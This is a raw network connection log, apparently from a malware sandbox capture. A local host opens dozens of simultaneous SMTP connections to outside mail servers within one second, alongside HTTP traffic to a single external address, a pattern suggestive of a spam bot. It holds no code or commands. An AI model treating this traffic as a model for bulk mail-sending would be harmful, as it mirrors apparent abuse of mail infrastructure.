Aug 24, 2023 19:03:54.957745075 CEST	50411	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.961659908 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:54.961705923 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:54.961723089 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:54.961743116 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:54.961760044 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:54.961779118 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:54.961801052 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:54.961817026 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:54.961833954 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:54.961862087 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:54.961880922 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:54.968770027 CEST	50309	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:54.971451998 CEST	25	50409	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:54.971646070 CEST	50409	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:55.002060890 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.002387047 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.005409956 CEST	25	50409	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:55.006227016 CEST	25	50395	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:55.006448030 CEST	50395	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:55.009856939 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.010039091 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.011281967 CEST	50412	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:55.014023066 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.019603014 CEST	25	50404	104.47.57.110	192.168.2.8
Aug 24, 2023 19:03:55.019921064 CEST	50404	25	192.168.2.8	104.47.57.110
Aug 24, 2023 19:03:55.021913052 CEST	25	50409	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:55.022119999 CEST	50409	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:55.028448105 CEST	50413	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:55.030050039 CEST	25	50394	199.224.64.204	192.168.2.8
Aug 24, 2023 19:03:55.030186892 CEST	50394	25	192.168.2.8	199.224.64.204
Aug 24, 2023 19:03:55.031297922 CEST	25	50407	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.031428099 CEST	50407	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.034015894 CEST	80	50309	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:55.034074068 CEST	80	50309	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:55.034168005 CEST	50309	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:55.046617985 CEST	25	50396	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.049654007 CEST	25	50392	216.71.131.24	192.168.2.8
Aug 24, 2023 19:03:55.051661015 CEST	25	50409	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:55.051805973 CEST	50409	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:55.054616928 CEST	25	50408	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:55.054840088 CEST	50408	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:55.054886103 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.055649996 CEST	25	50392	216.71.131.24	192.168.2.8
Aug 24, 2023 19:03:55.055774927 CEST	50392	25	192.168.2.8	216.71.131.24
Aug 24, 2023 19:03:55.062330008 CEST	25	50254	192.185.32.55	192.168.2.8
Aug 24, 2023 19:03:55.066836119 CEST	25	50405	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:55.066920996 CEST	25	50405	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:55.067102909 CEST	50405	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:55.071090937 CEST	25	50411	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.071304083 CEST	50411	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.077512980 CEST	25	50400	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:55.077603102 CEST	25	50400	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:55.077666044 CEST	50400	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:55.079123974 CEST	25	50406	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:55.079278946 CEST	50406	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:55.082534075 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.088378906 CEST	25	50345	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:55.090724945 CEST	50414	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.105122089 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.105264902 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.108011007 CEST	25	50410	216.71.142.94	192.168.2.8
Aug 24, 2023 19:03:55.108145952 CEST	50410	25	192.168.2.8	216.71.142.94
Aug 24, 2023 19:03:55.125653028 CEST	50415	25	192.168.2.8	205.139.110.242
Aug 24, 2023 19:03:55.127110958 CEST	25	50412	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:55.127218962 CEST	50412	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:55.127518892 CEST	25	50345	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:55.131748915 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.144752979 CEST	25	50407	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.144877911 CEST	25	50407	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.151077032 CEST	25	50404	104.47.57.110	192.168.2.8
Aug 24, 2023 19:03:55.162559986 CEST	25	50394	199.224.64.204	192.168.2.8
Aug 24, 2023 19:03:55.162796974 CEST	50394	25	192.168.2.8	199.224.64.204
Aug 24, 2023 19:03:55.166317940 CEST	25	50331	128.1.42.104	192.168.2.8
Aug 24, 2023 19:03:55.166467905 CEST	50331	25	192.168.2.8	128.1.42.104
Aug 24, 2023 19:03:55.175204039 CEST	25	50408	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:55.176698923 CEST	25	50395	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:55.176841021 CEST	50395	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:55.177673101 CEST	50407	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.177695990 CEST	25	50345	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:55.177727938 CEST	50404	25	192.168.2.8	104.47.57.110
Aug 24, 2023 19:03:55.177782059 CEST	50331	25	192.168.2.8	128.1.42.104
Aug 24, 2023 19:03:55.178073883 CEST	50408	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:55.178128004 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:55.188290119 CEST	25	50411	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.188568115 CEST	50411	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.191032887 CEST	50416	25	192.168.2.8	128.210.5.15
Aug 24, 2023 19:03:55.197221041 CEST	50417	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.197340012 CEST	25	50331	128.1.42.104	192.168.2.8
Aug 24, 2023 19:03:55.204056978 CEST	50418	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:55.204435110 CEST	25	50414	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.204538107 CEST	50414	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.207149029 CEST	25	50405	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:55.207182884 CEST	25	50405	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:55.207370043 CEST	50405	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:55.210095882 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:55.210095882 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:55.210095882 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:55.210095882 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:55.210170984 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:55.210170984 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:55.210170984 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:55.210170984 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:55.210170984 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:55.210170984 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:55.210478067 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:55.216196060 CEST	25	50413	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:55.216350079 CEST	50413	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:55.219989061 CEST	25	50392	216.71.131.24	192.168.2.8
Aug 24, 2023 19:03:55.220012903 CEST	25	50392	216.71.131.24	192.168.2.8
Aug 24, 2023 19:03:55.220135927 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.220154047 CEST	50392	25	192.168.2.8	216.71.131.24
Aug 24, 2023 19:03:55.220546007 CEST	25	50392	216.71.131.24	192.168.2.8
Aug 24, 2023 19:03:55.220603943 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.220616102 CEST	50392	25	192.168.2.8	216.71.131.24
Aug 24, 2023 19:03:55.230767965 CEST	25	50415	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:55.230946064 CEST	50415	25	192.168.2.8	205.139.110.242
Aug 24, 2023 19:03:55.244882107 CEST	25	50412	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:55.245027065 CEST	50412	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:55.253200054 CEST	25	50406	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:55.253242970 CEST	25	50406	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:55.253422022 CEST	50406	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:55.261116982 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:55.261152029 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:55.261178017 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:55.266683102 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:55.284188032 CEST	25	50410	216.71.142.94	192.168.2.8
Aug 24, 2023 19:03:55.286350012 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:55.291176081 CEST	25	50407	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.291374922 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.291383982 CEST	50407	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.291481972 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.294420958 CEST	25	50408	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:55.294584990 CEST	50408	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:55.300477982 CEST	25	50381	216.71.153.91	192.168.2.8
Aug 24, 2023 19:03:55.300695896 CEST	50381	25	192.168.2.8	216.71.153.91
Aug 24, 2023 19:03:55.301702023 CEST	25	50411	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.301850080 CEST	25	50411	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.301949024 CEST	50411	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.309254885 CEST	25	50404	104.47.57.110	192.168.2.8
Aug 24, 2023 19:03:55.309418917 CEST	50404	25	192.168.2.8	104.47.57.110
Aug 24, 2023 19:03:55.310092926 CEST	25	50418	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:55.310179949 CEST	50418	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:55.313865900 CEST	25	50416	128.210.5.15	192.168.2.8
Aug 24, 2023 19:03:55.314064026 CEST	50416	25	192.168.2.8	128.210.5.15
Aug 24, 2023 19:03:55.319391966 CEST	25	50414	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.319566965 CEST	50414	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.328169107 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.336503983 CEST	25	50415	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:55.336661100 CEST	50415	25	192.168.2.8	205.139.110.242
Aug 24, 2023 19:03:55.340868950 CEST	50419	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.341890097 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.343513012 CEST	25	50345	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:55.343580008 CEST	25	50405	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:55.343797922 CEST	25	50405	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:55.343863010 CEST	50405	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:55.356539011 CEST	50420	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:55.358303070 CEST	50421	25	192.168.2.8	104.47.51.110
Aug 24, 2023 19:03:55.361435890 CEST	25	50412	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:55.361592054 CEST	50412	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:55.381315947 CEST	25	50392	216.71.131.24	192.168.2.8
Aug 24, 2023 19:03:55.394860029 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:55.394897938 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:55.395061016 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:55.395149946 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:55.411226988 CEST	25	50408	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:55.411519051 CEST	50408	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:55.415266037 CEST	25	50411	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.415505886 CEST	50411	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.419331074 CEST	50422	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.424557924 CEST	25	50406	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:55.424730062 CEST	50406	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:55.433136940 CEST	25	50414	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.433204889 CEST	25	50414	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.433383942 CEST	50414	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.436849117 CEST	25	50416	128.210.5.15	192.168.2.8
Aug 24, 2023 19:03:55.439289093 CEST	25	50404	104.47.57.110	192.168.2.8
Aug 24, 2023 19:03:55.440148115 CEST	25	50418	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:55.440172911 CEST	25	50418	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:55.440267086 CEST	50418	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:55.440340996 CEST	50418	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:55.441467047 CEST	25	50415	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:55.441560984 CEST	25	50415	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:55.441684961 CEST	50415	25	192.168.2.8	205.139.110.242
Aug 24, 2023 19:03:55.445630074 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:55.445660114 CEST	25	50407	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.453444958 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:55.465848923 CEST	25	50421	104.47.51.110	192.168.2.8
Aug 24, 2023 19:03:55.466085911 CEST	50421	25	192.168.2.8	104.47.51.110
Aug 24, 2023 19:03:55.467017889 CEST	25	50404	104.47.57.110	192.168.2.8
Aug 24, 2023 19:03:55.467108965 CEST	50404	25	192.168.2.8	104.47.57.110
Aug 24, 2023 19:03:55.471999884 CEST	25	50381	216.71.153.91	192.168.2.8
Aug 24, 2023 19:03:55.475640059 CEST	25	50407	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.475666046 CEST	25	50407	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.475684881 CEST	25	50407	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.475805998 CEST	50407	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.476603031 CEST	50407	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.477880955 CEST	25	50412	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:55.478055000 CEST	50412	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:55.482675076 CEST	25	50410	216.71.142.94	192.168.2.8
Aug 24, 2023 19:03:55.482841015 CEST	50410	25	192.168.2.8	216.71.142.94
Aug 24, 2023 19:03:55.482933044 CEST	25	50410	216.71.142.94	192.168.2.8
Aug 24, 2023 19:03:55.483004093 CEST	50410	25	192.168.2.8	216.71.142.94
Aug 24, 2023 19:03:55.489912033 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.498265982 CEST	25	50381	216.71.153.91	192.168.2.8
Aug 24, 2023 19:03:55.499322891 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:55.499840975 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.499906063 CEST	50381	25	192.168.2.8	216.71.153.91
Aug 24, 2023 19:03:55.501734018 CEST	50423	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:55.527087927 CEST	25	50420	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:55.527122974 CEST	25	50408	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:55.527322054 CEST	50420	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:55.528456926 CEST	25	50408	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:55.528568029 CEST	50408	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:55.528678894 CEST	25	50417	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.528763056 CEST	50417	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.528888941 CEST	50424	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.536494970 CEST	25	50416	128.210.5.15	192.168.2.8
Aug 24, 2023 19:03:55.536524057 CEST	25	50416	128.210.5.15	192.168.2.8
Aug 24, 2023 19:03:55.536633968 CEST	50416	25	192.168.2.8	128.210.5.15
Aug 24, 2023 19:03:55.536699057 CEST	50416	25	192.168.2.8	128.210.5.15
Aug 24, 2023 19:03:55.545234919 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.545721054 CEST	25	50418	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:55.546516895 CEST	25	50415	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:55.546653032 CEST	50415	25	192.168.2.8	205.139.110.242
Aug 24, 2023 19:03:55.547065973 CEST	25	50414	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.547364950 CEST	50414	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.569989920 CEST	25	50411	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.575090885 CEST	25	50421	104.47.51.110	192.168.2.8
Aug 24, 2023 19:03:55.575392008 CEST	50421	25	192.168.2.8	104.47.51.110
Aug 24, 2023 19:03:55.589925051 CEST	25	50407	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.595951080 CEST	25	50406	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:55.596107960 CEST	50406	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:55.618130922 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.626874924 CEST	25	50413	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:55.626908064 CEST	25	50413	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:55.626996994 CEST	50413	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:55.627125025 CEST	50413	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:55.637072086 CEST	25	50412	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:55.642066956 CEST	25	50424	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.642266035 CEST	50424	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.658915043 CEST	25	50410	216.71.142.94	192.168.2.8
Aug 24, 2023 19:03:55.661007881 CEST	25	50416	128.210.5.15	192.168.2.8
Aug 24, 2023 19:03:55.664501905 CEST	25	50412	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:55.664680958 CEST	50412	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:55.665807009 CEST	25	50411	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.665833950 CEST	25	50411	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.665855885 CEST	25	50411	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.665932894 CEST	50411	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.665971994 CEST	50411	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.668348074 CEST	25	50419	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.668463945 CEST	50419	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.671314001 CEST	25	50381	216.71.153.91	192.168.2.8
Aug 24, 2023 19:03:55.675513029 CEST	25	50381	216.71.153.91	192.168.2.8
Aug 24, 2023 19:03:55.675695896 CEST	50381	25	192.168.2.8	216.71.153.91
Aug 24, 2023 19:03:55.683346987 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.683533907 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.684087038 CEST	25	50421	104.47.51.110	192.168.2.8
Aug 24, 2023 19:03:55.684282064 CEST	50421	25	192.168.2.8	104.47.51.110
Aug 24, 2023 19:03:55.686204910 CEST	25	50345	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:55.686311007 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:55.691340923 CEST	25	50415	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:55.700736046 CEST	50425	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:55.701718092 CEST	25	50414	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.706299067 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:55.706897974 CEST	25	50420	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:55.707065105 CEST	50420	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:55.707644939 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.707756042 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.717269897 CEST	50427	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.740304947 CEST	25	50425	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:55.740489006 CEST	50425	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:55.751583099 CEST	25	50422	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.751812935 CEST	50422	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.756613970 CEST	25	50424	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.756906986 CEST	50424	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.778862953 CEST	50428	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.780352116 CEST	25	50412	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:55.780397892 CEST	50429	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:55.781866074 CEST	25	50425	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:55.781991959 CEST	25	50412	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:55.781990051 CEST	50425	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:55.782092094 CEST	50412	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:55.785545111 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.785815001 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.792678118 CEST	25	50421	104.47.51.110	192.168.2.8
Aug 24, 2023 19:03:55.792826891 CEST	50421	25	192.168.2.8	104.47.51.110
Aug 24, 2023 19:03:55.804311991 CEST	25	50429	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:55.804553032 CEST	50429	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:55.808507919 CEST	25	50414	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.808538914 CEST	25	50414	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.808559895 CEST	25	50414	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.808648109 CEST	50414	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.811563969 CEST	50414	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.814023972 CEST	25	50413	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:55.821388006 CEST	25	50425	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:55.822386980 CEST	25	50425	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:55.825448990 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.827260017 CEST	50425	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:55.829066992 CEST	50430	25	192.168.2.8	209.71.212.24
Aug 24, 2023 19:03:55.832000971 CEST	25	50429	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:55.832125902 CEST	50429	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:55.832264900 CEST	25	50426	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:55.832386971 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:55.833374977 CEST	25	50417	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.833451033 CEST	50417	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.834177971 CEST	25	50423	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:55.834295988 CEST	50423	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:55.847249985 CEST	25	50381	216.71.153.91	192.168.2.8
Aug 24, 2023 19:03:55.847286940 CEST	25	50381	216.71.153.91	192.168.2.8
Aug 24, 2023 19:03:55.847449064 CEST	50381	25	192.168.2.8	216.71.153.91
Aug 24, 2023 19:03:55.847512007 CEST	25	50381	216.71.153.91	192.168.2.8
Aug 24, 2023 19:03:55.847625971 CEST	50381	25	192.168.2.8	216.71.153.91
Aug 24, 2023 19:03:55.856210947 CEST	25	50429	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:55.858246088 CEST	25	50429	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:55.858464956 CEST	50429	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:55.866792917 CEST	25	50425	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:55.868032932 CEST	25	50425	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:55.868204117 CEST	50425	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:55.869288921 CEST	25	50425	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:55.869369984 CEST	50425	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:55.870155096 CEST	25	50424	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.870260954 CEST	25	50424	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.870362997 CEST	50424	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.871525049 CEST	50431	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:55.877098083 CEST	25	50420	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:55.877150059 CEST	25	50420	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:55.877326965 CEST	50420	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:55.882560015 CEST	25	50429	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:55.884742975 CEST	25	50429	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:55.884917021 CEST	50429	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:55.887054920 CEST	25	50429	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:55.887165070 CEST	50429	25	192.168.2.8	104.47.1.33
